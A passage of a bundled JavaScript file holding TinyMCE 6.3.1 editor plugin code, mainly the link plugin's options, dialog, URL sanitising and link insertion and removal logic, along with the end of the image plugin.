    const parseStyle = editor => cssText => editor.dom.parseStyle(cssText);
    const serializeStyle = editor => (stylesArg, name) => editor.dom.serializeStyle(stylesArg, name);
    const uploadImage = editor => blobInfo => global$1(editor).upload([blobInfo], false).then(results => {
      var _a;
      if (results.length === 0) {
        return Promise.reject('Failed to upload image');
      } else if (results[0].status === false) {
        return Promise.reject((_a = results[0].error) === null || _a === void 0 ? void 0 : _a.message);
      } else {
        return results[0];
      }
    });
    const Dialog = editor => {
      const helpers = {
        imageSize: imageSize(editor),
        addToBlobCache: addToBlobCache(editor),
        createBlobCache: createBlobCache(editor),
        alertErr: alertErr(editor),
        normalizeCss: normalizeCss(editor),
        parseStyle: parseStyle(editor),
        serializeStyle: serializeStyle(editor),
        uploadImage: uploadImage(editor)
      };
      const open = () => {
        collect(editor).then(info => {
          const state = createState(info);
          return {
            title: 'Insert/Edit Image',
            size: 'normal',
            body: makeDialogBody(info),
            buttons: [
              {
                type: 'cancel',
                name: 'cancel',
                text: 'Cancel'
              },
              {
                type: 'submit',
                name: 'save',
                text: 'Save',
                primary: true
              }
            ],
            initialData: fromImageData(info.image),
            onSubmit: submitHandler(editor, info, helpers),
            onChange: changeHandler(helpers, info, state),
            onClose: closeHandler(state)
          };
        }).then(editor.windowManager.open);
      };
      return { open };
    };

    const register$1 = editor => {
      editor.addCommand('mceImage', Dialog(editor).open);
      editor.addCommand('mceUpdateImage', (_ui, data) => {
        editor.undoManager.transact(() => insertOrUpdateImage(editor, data));
      });
    };

    const hasImageClass = node => {
      const className = node.attr('class');
      return isNonNullable(className) && /\bimage\b/.test(className);
    };
    const toggleContentEditableState = state => nodes => {
      let i = nodes.length;
      const toggleContentEditable = node => {
        node.attr('contenteditable', state ? 'true' : null);
      };
      while (i--) {
        const node = nodes[i];
        if (hasImageClass(node)) {
          node.attr('contenteditable', state ? 'false' : null);
          global.each(node.getAll('figcaption'), toggleContentEditable);
        }
      }
    };
    const setup = editor => {
      editor.on('PreInit', () => {
        editor.parser.addNodeFilter('figure', toggleContentEditableState(true));
        editor.serializer.addNodeFilter('figure', toggleContentEditableState(false));
      });
    };

    const register = editor => {
      editor.ui.registry.addToggleButton('image', {
        icon: 'image',
        tooltip: 'Insert/edit image',
        onAction: Dialog(editor).open,
        onSetup: buttonApi => {
          buttonApi.setActive(isNonNullable(getSelectedImage(editor)));
          return editor.selection.selectorChangedWithUnbind('img:not([data-mce-object]):not([data-mce-placeholder]),figure.image', buttonApi.setActive).unbind;
        }
      });
      editor.ui.registry.addMenuItem('image', {
        icon: 'image',
        text: 'Image...',
        onAction: Dialog(editor).open
      });
      editor.ui.registry.addContextMenu('image', { update: element => isFigure(element) || isImage(element) && !isPlaceholderImage(element) ? ['image'] : [] });
    };

    var Plugin = () => {
      global$4.add('image', editor => {
        register$2(editor);
        setup(editor);
        register(editor);
        register$1(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 19 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "link" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/link')
//   ES2015:
//     import 'tinymce/plugins/link'
__webpack_require__(20);

/***/ }),
/* 20 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$5 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq = t => a => t === a;
    const isString = isType('string');
    const isObject = isType('object');
    const isArray = isType('array');
    const isNull = eq(null);
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isArrayOf = (value, pred) => {
      if (isArray(value)) {
        for (let i = 0, len = value.length; i < len; ++i) {
          if (!pred(value[i])) {
            return false;
          }
        }
        return true;
      }
      return false;
    };

    const noop = () => {
    };
    const constant = value => {
      return () => {
        return value;
      };
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const contains = (xs, x) => rawIndexOf(xs, x) > -1;
    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$1 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const foldl = (xs, f, acc) => {
      each$1(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind = (xs, f) => flatten(map(xs, f));
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    const is = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const cat = arr => {
      const r = [];
      const push = x => {
        r.push(x);
      };
      for (let i = 0; i < arr.length; i++) {
        arr[i].each(push);
      }
      return r;
    };
    const someIf = (b, a) => b ? Optional.some(a) : Optional.none();

    const option = name => editor => editor.options.get(name);
    const register$1 = editor => {
      const registerOption = editor.options.register;
      registerOption('link_assume_external_targets', {
        processor: value => {
          const valid = isString(value) || isBoolean(value);
          if (valid) {
            if (value === true) {
              return {
                value: 1,
                valid
              };
            } else if (value === 'http' || value === 'https') {
              return {
                value,
                valid
              };
            } else {
              return {
                value: 0,
                valid
              };
            }
          } else {
            return {
              valid: false,
              message: 'Must be a string or a boolean.'
            };
          }
        },
        default: false
      });
      registerOption('link_context_toolbar', {
        processor: 'boolean',
        default: false
      });
      registerOption('link_list', { processor: value => isString(value) || isFunction(value) || isArrayOf(value, isObject) });
      registerOption('link_default_target', { processor: 'string' });
      registerOption('link_default_protocol', {
        processor: 'string',
        default: 'https'
      });
      registerOption('link_target_list', {
        processor: value => isBoolean(value) || isArrayOf(value, isObject),
        default: true
      });
      registerOption('link_rel_list', {
        processor: 'object[]',
        default: []
      });
      registerOption('link_class_list', {
        processor: 'object[]',
        default: []
      });
      registerOption('link_title', {
        processor: 'boolean',
        default: true
      });
      registerOption('allow_unsafe_link_target', {
        processor: 'boolean',
        default: false
      });
      registerOption('link_quicklink', {
        processor: 'boolean',
        default: false
      });
    };
    const assumeExternalTargets = option('link_assume_external_targets');
    const hasContextToolbar = option('link_context_toolbar');
    const getLinkList = option('link_list');
    const getDefaultLinkTarget = option('link_default_target');
    const getDefaultLinkProtocol = option('link_default_protocol');
    const getTargetList = option('link_target_list');
    const getRelList = option('link_rel_list');
    const getLinkClassList = option('link_class_list');
    const shouldShowLinkTitle = option('link_title');
    const allowUnsafeLinkTarget = option('allow_unsafe_link_target');
    const useQuickLink = option('link_quicklink');

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const getValue = item => isString(item.value) ? item.value : '';
    const getText = item => {
      if (isString(item.text)) {
        return item.text;
      } else if (isString(item.title)) {
        return item.title;
      } else {
        return '';
      }
    };
    const sanitizeList = (list, extractValue) => {
      const out = [];
      global$4.each(list, item => {
        const text = getText(item);
        if (item.menu !== undefined) {
          const items = sanitizeList(item.menu, extractValue);
          out.push({
            text,
            items
          });
        } else {
          const value = extractValue(item);
          out.push({
            text,
            value
          });
        }
      });
      return out;
    };
    const sanitizeWith = (extracter = getValue) => list => Optional.from(list).map(list => sanitizeList(list, extracter));
    const sanitize = list => sanitizeWith(getValue)(list);
    const createUi = (name, label) => items => ({
      name,
      type: 'listbox',
      label,
      items
    });
    const ListOptions = {
      sanitize,
      sanitizeWith,
      createUi,
      getValue
    };

    const keys = Object.keys;
    const hasOwnProperty = Object.hasOwnProperty;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const filter = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const has = (obj, key) => hasOwnProperty.call(obj, key);
    const hasNonNullableKey = (obj, key) => has(obj, key) && obj[key] !== undefined && obj[key] !== null;

    var global$3 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.URI');

    const isAnchor = elm => isNonNullable(elm) && elm.nodeName.toLowerCase() === 'a';
    const isLink = elm => isAnchor(elm) && !!getHref(elm);
    const collectNodesInRange = (rng, predicate) => {
      if (rng.collapsed) {
        return [];
      } else {
        const contents = rng.cloneContents();
        const firstChild = contents.firstChild;
        const walker = new global$3(firstChild, contents);
        const elements = [];
        let current = firstChild;
        do {
          if (predicate(current)) {
            elements.push(current);
          }
        } while (current = walker.next());
        return elements;
      }
    };
    const hasProtocol = url => /^\w+:/i.test(url);
    const getHref = elm => {
      var _a, _b;
      return (_b = (_a = elm.getAttribute('data-mce-href')) !== null && _a !== void 0 ? _a : elm.getAttribute('href')) !== null && _b !== void 0 ? _b : '';
    };
    const applyRelTargetRules = (rel, isUnsafe) => {
      const rules = ['noopener'];
      const rels = rel ? rel.split(/\s+/) : [];
      const toString = rels => global$4.trim(rels.sort().join(' '));
      const addTargetRules = rels => {
        rels = removeTargetRules(rels);
        return rels.length > 0 ? rels.concat(rules) : rules;
      };
      const removeTargetRules = rels => rels.filter(val => global$4.inArray(rules, val) === -1);
      const newRels = isUnsafe ? addTargetRules(rels) : removeTargetRules(rels);
      return newRels.length > 0 ? toString(newRels) : '';
    };
    const trimCaretContainers = text => text.replace(/\uFEFF/g, '');
    const getAnchorElement = (editor, selectedElm) => {
      selectedElm = selectedElm || editor.selection.getNode();
      if (isImageFigure(selectedElm)) {
        return Optional.from(editor.dom.select('a[href]', selectedElm)[0]);
      } else {
        return Optional.from(editor.dom.getParent(selectedElm, 'a[href]'));
      }
    };
    const isInAnchor = (editor, selectedElm) => getAnchorElement(editor, selectedElm).isSome();
    const getAnchorText = (selection, anchorElm) => {
      const text = anchorElm.fold(() => selection.getContent({ format: 'text' }), anchorElm => anchorElm.innerText || anchorElm.textContent || '');
      return trimCaretContainers(text);
    };
    const hasLinks = elements => global$4.grep(elements, isLink).length > 0;
    const hasLinksInSelection = rng => collectNodesInRange(rng, isLink).length > 0;
    const isOnlyTextSelected = editor => {
      const inlineTextElements = editor.schema.getTextInlineElements();
      const isElement = elm => elm.nodeType === 1 && !isAnchor(elm) && !has(inlineTextElements, elm.nodeName.toLowerCase());
      const isInBlockAnchor = getAnchorElement(editor).exists(anchor => anchor.hasAttribute('data-mce-block'));
      if (isInBlockAnchor) {
        return false;
      }
      const rng = editor.selection.getRng();
      if (!rng.collapsed) {
        const elements = collectNodesInRange(rng, isElement);
        return elements.length === 0;
      } else {
        return true;
      }
    };
    const isImageFigure = elm => isNonNullable(elm) && elm.nodeName === 'FIGURE' && /\bimage\b/i.test(elm.className);
    const getLinkAttrs = data => {
      const attrs = [
        'title',
        'rel',
        'class',
        'target'
      ];
      return foldl(attrs, (acc, key) => {
        data[key].each(value => {
          acc[key] = value.length > 0 ? value : null;
        });
        return acc;
      }, { href: data.href });
    };
    const handleExternalTargets = (href, assumeExternalTargets) => {
      if ((assumeExternalTargets === 'http' || assumeExternalTargets === 'https') && !hasProtocol(href)) {
        return assumeExternalTargets + '://' + href;
      }
      return href;
    };
    const applyLinkOverrides = (editor, linkAttrs) => {
      const newLinkAttrs = { ...linkAttrs };
      if (getRelList(editor).length === 0 && !allowUnsafeLinkTarget(editor)) {
        const newRel = applyRelTargetRules(newLinkAttrs.rel, newLinkAttrs.target === '_blank');
        newLinkAttrs.rel = newRel ? newRel : null;
      }
      if (Optional.from(newLinkAttrs.target).isNone() && getTargetList(editor) === false) {
        newLinkAttrs.target = getDefaultLinkTarget(editor);
      }
      newLinkAttrs.href = handleExternalTargets(newLinkAttrs.href, assumeExternalTargets(editor));
      return newLinkAttrs;
    };
    const updateLink = (editor, anchorElm, text, linkAttrs) => {
      text.each(text => {
        if (has(anchorElm, 'innerText')) {
          anchorElm.innerText = text;
        } else {
          anchorElm.textContent = text;
        }
      });
      editor.dom.setAttribs(anchorElm, linkAttrs);
      editor.selection.select(anchorElm);
    };
    const createLink = (editor, selectedElm, text, linkAttrs) => {
      const dom = editor.dom;
      if (isImageFigure(selectedElm)) {
        linkImageFigure(dom, selectedElm, linkAttrs);
      } else {
        text.fold(() => {
          editor.execCommand('mceInsertLink', false, linkAttrs);
        }, text => {
          editor.insertContent(dom.createHTML('a', linkAttrs, dom.encode(text)));
        });
      }
    };
    const linkDomMutation = (editor, attachState, data) => {
      const selectedElm = editor.selection.getNode();
      const anchorElm = getAnchorElement(editor, selectedElm);
      const linkAttrs = applyLinkOverrides(editor, getLinkAttrs(data));
      editor.undoManager.transact(() => {
        if (data.href === attachState.href) {
          attachState.attach();
        }
        anchorElm.fold(() => {
          createLink(editor, selectedElm, data.text, linkAttrs);
        }, elm => {
          editor.focus();
          updateLink(editor, elm, data.text, linkAttrs);
        });
      });
    };
    const unlinkSelection = editor => {
      const dom = editor.dom, selection = editor.selection;
      const bookmark = selection.getBookmark();
      const rng = selection.getRng().cloneRange();
      const startAnchorElm = dom.getParent(rng.startContainer, 'a[href]', editor.getBody());
      const endAnchorElm = dom.getParent(rng.endContainer, 'a[href]', editor.getBody());
      if (startAnchorElm) {
        rng.setStartBefore(startAnchorElm);
      }
      if (endAnchorElm) {
        rng.setEndAfter(endAnchorElm);
      }
      selection.setRng(rng);
      editor.execCommand('unlink');
      selection.moveToBookmark(bookmark);
    };
    const unlinkDomMutation = editor => {
      editor.undoManager.transact(() => {
        const node = editor.selection.getNode();
        if (isImageFigure(node)) {
          unlinkImageFigure(editor, node);
        } else {
          unlinkSelection(editor);
        }
        editor.focus();
      });
    };
    const unwrapOptions = data => {
      const {
        class: cls,
        href,
        rel,
        target,
        text,
        title
      } = data;
      return filter({
        class: cls.getOrNull(),
        href,
        rel: rel.getOrNull(),
        target: target.getOrNull(),
        text: text.getOrNull(),
        title: title.getOrNull()
      }, (v, _k) => isNull(v) === false);
    };
    const sanitizeData = (editor, data) => {
      const getOption = editor.options.get;
      const uriOptions = {
        allow_html_data_urls: getOption('allow_html_data_urls'),
        allow_script_urls: getOption('allow_script_urls'),
        allow_svg_data_urls: getOption('allow_svg_data_urls')
      };
      const href = data.href;
      return {
        ...data,
        href: global$2.isDomSafe(href, 'a', uriOptions) ? href : ''
      };
    };
    const link = (editor, attachState, data) => {
      const sanitizedData = sanitizeData(editor, data);
      editor.hasPlugin('rtc', true) ? editor.execCommand('createlink', false, unwrapOptions(sanitizedData)) : linkDomMutation(editor, attachState, sanitizedData);
    };
    const unlink = editor => {
      editor.hasPlugin('rtc', true) ? editor.execCommand('unlink') : unlinkDomMutation(editor);
    };
    const unlinkImageFigure = (editor, fig) => {
      var _a;
      const img = editor.dom.select('img', fig)[0];
      if (img) {
        const a = editor.dom.getParents(img, 'a[href]', fig)[0];
        if (a) {
          (_a = a.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(img, a);
          editor.dom.remove(a);
        }
      }
    };
    const linkImageFigure = (dom, fig, attrs) => {
      var _a;
      const img = dom.select('img', fig)[0];
      if (img) {
        const a = dom.create('a', attrs);
        (_a = img.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(a, img);
        a.appendChild(img);
      }
    };

    const isListGroup = item => hasNonNullableKey(item, 'items');
    const findTextByValue = (value, catalog) => findMap(catalog, item => {
      if (isListGroup(item)) {
        return findTextByValue(value, item.items);
      } else {
        return someIf(item.value === value, item);
      }
    });
    const getDelta = (persistentText, fieldName, catalog, data) => {
      const value = data[fieldName];
      const hasPersistentText = persistentText.length > 0;
      return value !== undefined ? findTextByValue(value, catalog).map(i => ({
        url: {
          value: i.value,
          meta: {
            text: hasPersistentText ? persistentText : i.text,
            attach: noop
          }
        },
        text: hasPersistentText ? persistentText : i.text
      })) : Optional.none();
    };
    const findCatalog = (catalogs, fieldName) => {
      if (fieldName === 'link') {
        return catalogs.link;
      } else if (fieldName === 'anchor') {
        return catalogs.anchor;
      } else {
        return Optional.none();
      }
    };
    const init = (initialData, linkCatalog) => {
      const persistentData = {
        text: initialData.text,
        title: initialData.title
      };
      const getTitleFromUrlChange = url => {
        var _a;
        return someIf(persistentData.title.length <= 0, Optional.from((_a = url.meta) === null || _a === void 0 ? void 0 : _a.title).getOr(''));
      };
      const getTextFromUrlChange = url => {
        var _a;
        return someIf(persistentData.text.length <= 0, Optional.from((_a = url.meta) === null || _a === void 0 ? void 0 : _a.text).getOr(url.value));
      };
      const onUrlChange = data => {
        const text = getTextFromUrlChange(data.url);
        const title = getTitleFromUrlChange(data.url);
        if (text.isSome() || title.isSome()) {
          return Optional.some({
            ...text.map(text => ({ text })).getOr({}),
            ...title.map(title => ({ title })).getOr({})
          });
        } else {
          return Optional.none();
        }
      };
      const onCatalogChange = (data, change) => {
        const catalog = findCatalog(linkCatalog, change).getOr([]);
        return getDelta(persistentData.text, change, catalog, data);
      };
      const onChange = (getData, change) => {
        const name = change.name;
        if (name === 'url') {
          return onUrlChange(getData());
        } else if (contains([
            'anchor',
            'link'
          ], name)) {
          return onCatalogChange(getData(), name);
        } else if (name === 'text' || name === 'title') {
          persistentData[name] = getData()[name];
          return Optional.none();
        } else {
          return Optional.none();
        }
      };
      return { onChange };
    };
    const DialogChanges = {
      init,
      getDelta
    };

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    const delayedConfirm = (editor, message, callback) => {
      const rng = editor.selection.getRng();
      global$1.setEditorTimeout(editor, () => {
        editor.windowManager.confirm(message, state => {
          editor.selection.setRng(rng);
          callback(state);
        });
      });
    };
    const tryEmailTransform = data => {
      const url = data.href;
      const suggestMailTo = url.indexOf('@') > 0 && url.indexOf('/') === -1 && url.indexOf('mailto:') === -1;
      return suggestMailTo ? Optional.some({
        message: 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?',
        preprocess: oldData => ({
          ...oldData,
          href: 'mailto:' + url
        })
      }) : Optional.none();
    };
    const tryProtocolTransform = (assumeExternalTargets, defaultLinkProtocol) => data => {
      const url = data.href;
      const suggestProtocol = assumeExternalTargets === 1 && !hasProtocol(url) || assumeExternalTargets === 0 && /^\s*www(\.|\d\.)/i.test(url);
      return suggestProtocol ? Optional.some({
        message: `The URL you entered seems to be an external link. Do you want to add the required ${ defaultLinkProtocol }:// prefix?`,
        preprocess: oldData => ({
          ...oldData,
          href: defaultLinkProtocol + '://' + url
        })
      }) : Optional.none();
    };
    const preprocess = (editor, data) => findMap([
      tryEmailTransform,
      tryProtocolTransform(assumeExternalTargets(editor), getDefaultLinkProtocol(editor))
    ], f => f(data)).fold(() => Promise.resolve(data), transform => new Promise(callback => {
      delayedConfirm(editor, transform.message, state => {
        callback(state ? transform.preprocess(data) : data);
      });
    }));
    const DialogConfirms = { preprocess };

    const getAnchors = editor => {
      const anchorNodes = editor.dom.select('a:not([href])');
      const anchors = bind(anchorNodes, anchor => {
        const id = anchor.name || anchor.id;
        return id ? [{
            text: id,
            value: '#' + id
          }] : [];
      });
      return anchors.length > 0 ? Optional.some([{
          text: 'None',
          value: ''
        }].concat(anchors)) : Optional.none();
    };
    const AnchorListOptions = { getAnchors };

    const getClasses = editor => {
      const list = getLinkClassList(editor);
      if (list.length > 0) {
        return ListOptions.sanitize(list);
      }
      return Optional.none();
    };
    const ClassListOptions = { getClasses };

    const parseJson = text => {
      try {
        return Optional.some(JSON.parse(text));
      } catch (err) {
        return Optional.none();
      }
    };
    const getLinks = editor => {
      const extractor = item => editor.convertURL(item.value || item.url || '', 'href');
      const linkList = getLinkList(editor);
      return new Promise(resolve => {
        if (isString(linkList)) {
          fetch(linkList).then(res => res.ok ? res.text().then(parseJson) : Promise.reject()).then(resolve, () => resolve(Optional.none()));
        } else if (isFunction(linkList)) {
          linkList(output => resolve(Optional.some(output)));
        } else {
          resolve(Optional.from(linkList));
        }
      }).then(optItems => optItems.bind(ListOptions.sanitizeWith(extractor)).map(items => {
        if (items.length > 0) {
          const noneItem = [{
              text: 'None',
              value: ''
            }];
          return noneItem.concat(items);
        } else {
          return items;
        }
      }));
    };
    const LinkListOptions = { getLinks };

    const getRels = (editor, initialTarget) => {
      const list = getRelList(editor);
      if (list.length > 0) {
        const isTargetBlank = is(initialTarget, '_blank');
        const enforceSafe = allowUnsafeLinkTarget(editor) === false;
        const safeRelExtractor = item => applyRelTargetRules(ListOptions.getValue(item), isTargetBlank);
        const sanitizer = enforceSafe ? ListOptions.sanitizeWith(safeRelExtractor) : ListOptions.sanitize;
        return sanitizer(list);
      }
      return Optional.none();
    };
    const RelOptions = { getRels };

    const fallbacks = [
      {
        text: 'Current window',
        value: ''
      },
      {
        text: 'New window',
        value: '_blank'
      }
    ];
    const getTargets = editor => {
      const list = getTargetList(editor);
      if (isArray(list)) {
        return ListOptions.sanitize(list).orThunk(() => Optional.some(fallbacks));
      } else if (list === false) {
        return Optional.none();
      }
      return Optional.some(fallbacks);
    };
    const TargetOptions = { getTargets };

    const nonEmptyAttr = (dom, elem, name) => {
      const val = dom.getAttrib(elem, name);
      return val !== null && val.length > 0 ? Optional.some(val) : Optional.none();
    };
    const extractFromAnchor = (editor, anchor) => {
      const dom = editor.dom;
      const onlyText = isOnlyTextSelected(editor);
      const text = onlyText ? Optional.some(getAnchorText(editor.selection, anchor)) : Optional.none();
      const url = anchor.bind(anchorElm => Optional.from(dom.getAttrib(anchorElm, 'href')));
      const target = anchor.bind(anchorElm => Optional.from(dom.getAttrib(anchorElm, 'target')));
      const rel = anchor.bind(anchorElm => nonEmptyAttr(dom, anchorElm, 'rel'));
      const linkClass = anchor.bind(anchorElm => nonEmptyAttr(dom, anchorElm, 'class'));
      const title = anchor.bind(anchorElm => nonEmptyAttr(dom, anchorElm, 'title'));
      return {
        url,
        text,
        title,
        target,
        rel,
        linkClass
      };
    };
    const collect = (editor, linkNode) => LinkListOptions.getLinks(editor).then(links => {
      const anchor = extractFromAnchor(editor, linkNode);
      return {
        anchor,
        catalogs: {
          targets: TargetOptions.getTargets(editor),
          rels: RelOptions.getRels(editor, anchor.target),
          classes: ClassListOptions.getClasses(editor),
          anchor: AnchorListOptions.getAnchors(editor),
          link: links
        },
        optNode: linkNode,
        flags: { titleEnabled: shouldShowLinkTitle(editor) }
      };
    });
    const DialogInfo = { collect };

    const handleSubmit = (editor, info) => api => {
      const data = api.getData();
      if (!data.url.value) {
        unlink(editor);
        api.close();
        return;
      }
      const getChangedValue = key => Optional.from(data[key]).filter(value => !is(info.anchor[key], value));
      const changedData = {
        href: data.url.value,
        text: getChangedValue('text'),
        target: getChangedValue('target'),
        rel: getChangedValue('rel'),
        class: getChangedValue('linkClass'),
        title: getChangedValue('title')
      };
      const attachState = {
        href: data.url.value,
        attach: data.url.meta !== undefined && data.url.meta.attach ? data.url.meta.attach : noop
      };
      DialogConfirms.preprocess(editor, changedData).then(pData => {
        link(editor, attachState, pData);
      });
      api.close();
    };
    const collectData = editor => {
      const anchorNode = getAnchorElement(editor);
      return DialogInfo.collect(editor, anchorNode);
    };
    const getInitialData = (info, defaultTarget) => {
      const anchor = info.anchor;
      const url = anchor.url.getOr('');
      return {
        url: {
          value: url,
          meta: { original: { value: url } }
        },
        text: anchor.text.getOr(''),
        title: anchor.title.getOr(''),
        anchor: url,
        link: url,
        rel: anchor.rel.getOr(''),
        target: anchor.target.or(defaultTarget).getOr(''),
        linkClass: anchor.linkClass.getOr('')
      };
    };
    const makeDialog = (settings, onSubmit, editor) => {
      const urlInput = [{
          name: 'url',
          type: 'urlinput',
          filetype: 'file',
          label: 'URL'
        }];
      const displayText = settings.anchor.text.map(() => ({
        name: 'text',
        type: 'input',
        label: 'Text to display'
      })).toArray();
      const titleText = settings.flags.titleEnabled ? [{
          name: 'title',
          type: 'input',
          label: 'Title'
        }] : [];
      const defaultTarget = Optional.from(getDefaultLinkTarget(editor));
      const initialData = getInitialData(settings, defaultTarget);
      const catalogs = settings.catalogs;
      const dialogDelta = DialogChanges.init(initialData, catalogs);
      const body = {
        type: 'panel',
        items: flatten([
          urlInput,
          displayText,
          titleText,
          cat([
            catalogs.anchor.map(ListOptions.createUi('anchor', 'Anchors')),
            catalogs.rels.map(ListOptions.createUi('rel', 'Rel')),
            catalogs.targets.map(ListOptions.createUi('target', 'Open link in...')),
            catalogs.link.map(ListOptions.createUi('link', 'Link list')),
            catalogs.classes.map(ListOptions.createUi('linkClass', 'Class'))
          ])
        ])
      };
      return {
        title: 'Insert/Edit Link',
        size: 'normal',
        body,
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData,
        onChange: (api, {name}) => {
          dialogDelta.onChange(api.getData, { name }).each(newData => {
            api.setData(newData);
          });
        },
        onSubmit
      };
    };
    const open$1 = editor => {
      const data = collectData(editor);
      data.then(info => {
        const onSubmit = handleSubmit(editor, info);
        return makeDialog(info, onSubmit, editor);
      }).then(spec => {
        editor.windowManager.open(spec);
      });
    };

    const register = editor => {
      editor.addCommand('mceLink', (_ui, value) => {
        if ((value === null || value === void 0 ? void 0 : value.dialog) === true || !useQuickLink(editor)) {
          open$1(editor);
        } else {
          editor.dispatch('contexttoolbar-show', { toolbarKey: 'quicklink' });
        }
      });
    };

    var global = tinymce.util.Tools.resolve('tinymce.util.VK');

    const appendClickRemove = (link, evt) => {
      document.body.appendChild(link);
      link.dispatchEvent(evt);
      document.body.removeChild(link);
    };
    const open = url => {
      const link = document.createElement('a');
      link.target = '_blank';
      link.href = url;
      link.rel = 'noreferrer noopener';
      const evt = document.createEvent('MouseEvents');
      evt.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
      appendClickRemove(link, evt);
    };

    const getLink = (editor, elm) => editor.dom.getParent(elm, 'a[href]');
    const getSelectedLink = editor => getLink(editor, editor.selection.getStart());
    const hasOnlyAltModifier = e => {
      return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false;
    };
    const gotoLink = (editor, a) => {
      if (a) {
        const href = getHref(a);
        if (/^#/.test(href)) {
          const targetEl = editor.dom.select(href);
          if (targetEl.length) {
            editor.selection.scrollIntoView(targetEl[0], true);
          }
        } else {
          open(a.href);
        }
      }
    };
    const openDialog = editor => () => {
      editor.execCommand('mceLink', false, { dialog: true });
    };
    const gotoSelectedLink = editor => () => {
      gotoLink(editor, getSelectedLink(editor));
    };
    const setupGotoLinks = editor => {
      editor.on('click', e => {
        const link = getLink(editor, e.target);
        if (link && global.metaKeyPressed(e)) {
          e.preventDefault();
          gotoLink(editor, link);
        }
      });
      editor.on('keydown', e => {
        if (!e.isDefaultPrevented() && e.keyCode === 13 && hasOnlyAltModifier(e)) {
          const link = getSelectedLink(editor);
          if (link) {
            e.preventDefault();
            gotoLink(editor, link);
          }
        }
      });
    };
    const toggleState = (editor, toggler) => {
      editor.on('NodeChange', toggler);
      return () => editor.off('NodeChange', toggler);
    };
    const toggleActiveState = editor => api => {
